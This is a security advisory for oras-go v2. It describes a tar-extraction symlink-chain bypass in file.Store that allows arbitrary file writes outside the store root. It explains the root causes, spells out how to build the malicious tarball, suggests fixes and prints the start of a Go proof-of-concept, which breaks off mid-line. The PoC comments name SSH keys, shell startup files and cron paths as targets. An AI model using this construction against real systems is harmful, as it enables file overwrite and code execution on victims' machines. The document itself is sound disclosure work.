Résumé

oras-go: Arbitrary file write outside file.Store root via symlink-chain bypass in tar extraction (pushDir)

Détails de l’avis

Summary

The content/file.Store in oras-go v2 unpacks OCI layer tarballs when a descriptor carries io.deis.oras.content.unpack=true. The extraction routine validates symlink targets purely lexically (filepath.Join) and, for regular files placed directly at the extraction root, skips the parent-symlink Lstat walk. A malicious tarball can plant a chain of symlinks whose lexical target stays inside the extraction root but whose kernel-resolved target is any absolute path, then write through it with a follow-up regular-file entry. The result is arbitrary file create/overwrite outside the store's working directory under the default AllowPathTraversalOnWrite=false configuration — a canonical tar-slip → RCE primitive.

Details

Affected versions: <= v2.6.1

Entry point: content/file/file.go line 486, (*Store).pushDir — reached from (*Store).Push for any descriptor whose annotations include io.deis.oras.content.unpack: "true" (i.e. file.AnnotationUnpack) and an org.opencontainers.image.title. oras.Copy from a remote registry into a file.New(dir) store invokes this per layer.

Root cause 1 — lexical link validation. content/file/utils.go lines 264–275, ensureLinkPath:

func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {
        // resolve link
        path := target
        if !filepath.IsAbs(target) {
                path = filepath.Join(filepath.Dir(link), target)
        }
        // ensure path is under baseAbs or baseRel
        if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {
                return "", err
        }
        return target, nil
}

filepath.Join cleans .. components textually and does not dereference symlinks in intermediate components. It therefore cannot detect that a component of target is itself a previously-extracted symlink that the kernel will follow before applying subsequent .. components.

Root cause 2 — parent-symlink check skipped for root-level entries. content/file/utils.go lines 247–257, inside resolveRelToBase:

// No symbolic link allowed in the relative path
dir := filepath.Dir(path)
for dir != "." {
        if info, err := os.Lstat(filepath.Join(baseAbs, dir)); err != nil {
                ...
        } else if info.Mode()&os.ModeSymlink != 0 {
                return "", fmt.Errorf("no symbolic link allowed between %q and %q", baseRel, target)
        }
        dir = filepath.Dir(dir)
}

For an entry named <title>/escape, path == "escape" and filepath.Dir("escape") == ".", so the loop body never executes — the entry itself is never Lstat-checked.

Root cause 3 — write follows symlinks. content/file/utils.go line 279, writeFile:

file, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, perm)

No O_NOFOLLOW, so if path is a symlink the write goes to its target.

Data flow / exploit construction. Let baseAbs = <workingDir>/<title> and N = depth(baseAbs) (number of path components from /). The attacker's tar.gz contains, in order:

  1. N nested directories <title>/d0/d1/…/d{N-1}.
  2. A symlink <title>/d0/…/d{N-1}/up → "../../…" (N levels). Both lexically and on disk this resolves to baseAbs, so ensureLinkPath accepts it and resolveRelToBase sees only real directories in its ancestry.
  3. A symlink <title>/escape → "d0/…/d{N-1}/up/../../…/<absTarget>" (N .. components after up). Lexically, filepath.Join(baseAbs, "d0/…/up/../…/<absTarget>") cancels the N .. against up plus d{N-2}…d0, yielding baseAbs/d0/<absTarget> — inside the root, so ensureLinkPath accepts it. resolveRelToBase then walks d0/<absTarget-parents>, none of which are symlinks (they don't exist), so the link is created. At the kernel, resolving baseAbs/d0/…/up first follows up back to baseAbs, and the remaining N .. components climb from baseAbs to /, then <absTarget> is appended — the symlink points at the attacker-chosen absolute path.
  4. A regular file <title>/escape (same name). resolveRelToBase("escape") yields dir == "." (root cause 2), so no Lstat is performed. extractTarDirectory (line 181) calls writeFile which opens baseAbs/escape with O_TRUNC and no O_NOFOLLOW (root cause 3), writing the attacker's payload through the symlink to <absTarget>.

Why v2.6.1's checkSymlinkEscape does not help. The fix for GHSA-8xwf-rjm4-xvhv added a symlink-resolving containment check, but it is called only from resolveWritePath (content/file/file.go line 632) on the pushFile path. pushDir → extractTarGzip → extractTarDirectory never calls it; content/file/utils.go is byte-identical between v2.6.0 and v2.6.1.

Suggested remediation. Any of: (a) Lstat the final path component before opening for write and reject symlinks; (b) open with O_NOFOLLOW (or O_EXCL for new files); (c) resolve link targets with filepath.EvalSymlinks on the deepest existing ancestor (as checkSymlinkEscape already does) instead of lexical filepath.Join; (d) extract into a fresh empty directory and use openat2(RESOLVE_BENEATH) / os.Root (Go 1.24+) for all filesystem operations.

PoC

go mod init poc
go get oras.land/oras-go/v2@v2.6.1
go run .
// Arbitrary file write outside a default-configured file.Store via
// symlink-chain bypass in content/file.extractTarDirectory.
//
// ensureLinkPath() validates symlink targets purely lexically with
// filepath.Join, which collapses ".." textually and does not follow
// intermediate symlink components. By first planting a deep "up" symlink
// that legitimately resolves to the extraction root, an "escape" symlink
// can be crafted whose lexical target stays in-bounds but whose
// kernel-resolved target is any absolute path. A follow-up TypeReg entry
// with the same name is opened with O_CREATE|O_TRUNC (no O_NOFOLLOW),
// writing through the symlink.
//
// Realistic trigger: oras.Copy() from an untrusted registry into a
// file.New() store. The attacker controls the manifest (sets
// AnnotationTitle + AnnotationUnpack=true on a layer) and the layer blob.
// All digests are honest, so content verification passes.
package main

import (
        "archive/tar"
        "bytes"
        "compress/gzip"
        "context"
        _ "crypto/sha256"
        "fmt"
        "os"
        "path/filepath"
        "strings"

        "github.com/opencontainers/go-digest"
        ocispec "github.com/opencontainers/image-spec/specs-go/v1"
        "oras.land/oras-go/v2/content/file"
)

func main() {
        if err := run(); err != nil {
                fmt.Println("ERROR:", err)
                os.Exit(1)
        }
}

func run() error {
        ctx := context.Background()

        // Victim's working directory for the file store.
        workDir, err := os.MkdirTemp("", "oras-victim-*")
        if err != nil {
                return err
        }
        defer os.RemoveAll(workDir)
        fmt.Println("[*] file.Store working dir:", workDir)

        // Target path the attacker wants to write, OUTSIDE workDir.
        // (Could be ~/.ssh/authorized_keys, ~/.bashrc, /etc/cron.d/x, etc.;
        // a temp path keeps the demo self-contained.)
        outsidePath := filepath.Join(os.TempDir(), "oras-PWNED")
        _ = os.Remove(outsidePath)
        defer os.Remove(outsidePath)
        fmt.Println("[*] attacker target (outside workDir):", outsidePath)

        // The layer's AnnotationTitle. extractTarDirectory uses this as both the
        // in-tar prefix and the on-disk subdir under workDir.
        const title = "out"
        baseAbs := filepath.Join(workDir, title)

        // N nested dirs + a symlink "up" -> N*"../" so that after the kernel
        // follows "up" (landing at baseAbs) the remaining N lexical ".."
        // components climb from baseAbs to "/". N must be >= depth(baseAbs).
        depth := len(strings.Split(strings.Trim(filepath.ToSlash(baseA

Références